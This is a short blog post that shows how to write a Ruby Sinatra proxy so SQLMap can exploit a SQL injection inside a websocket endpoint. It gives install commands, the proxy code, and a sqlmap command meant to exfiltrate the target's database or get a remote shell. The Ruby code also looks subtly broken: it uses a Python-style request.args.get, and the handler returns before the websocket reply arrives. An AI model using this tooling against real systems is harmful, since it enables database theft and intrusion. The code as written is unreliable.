Ruby proxy for SQLMap and Websockets

Develop the right mindset for Rails security

Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.

Get the course for $99

I was testing for SQL Injection on a target the other day, and after a little fuzzing indicated that there might be a vulnerability, I wanted to use SQLMap to make data exfiltration easier. But this vulnerability was part of a websocket request, and unfortunately, SQLMap doesn’t support websockets. One solution to this problem is to introduce a little proxy between the websocket endpoint and SQLMap and convert HTTP requests into websocket ones.

This is actually pretty simple to achieve with a few lines of Ruby. I decided to use a little Sinatra app with the faye-websocket gem as a websocket client. First, I installed the necessary gems:

gem install sinatra faye-websocket rackup puma

Then I added the following code to a file called app.rb:

require 'faye/websocket'
require 'sinatra'

get '/' do
  ws = Faye::WebSocket::Client.new('ws://TARGET/cable')

  ws.on :open do |_event|
    message = {}
    message['username'] = request.args.get('username', '')
    ws.send(message.to_json)
  end

  ws.on :message do |event|
    [:message, event.data]
    ws.close
  end
end

What’s happening here is that we add a “/” route handler to Sinatra, and in the handler, we create a websocket connection to the target. Then, we add an “open” handler that converts the GET parameters to the JSON the websocket endpoint expects, and when we receive back a message, we return that as the HTTP response and close the websocket connection.

We can run this little app with ruby app.rb and point SQLMap to the URL of the app: python3 sqlmap.py -u http://127.0.0.1:4567/\?username\=test --threads=10 --batch to exfiltrate the database or even get a remote shell if we are lucky.

A few lines of Ruby saved the day again.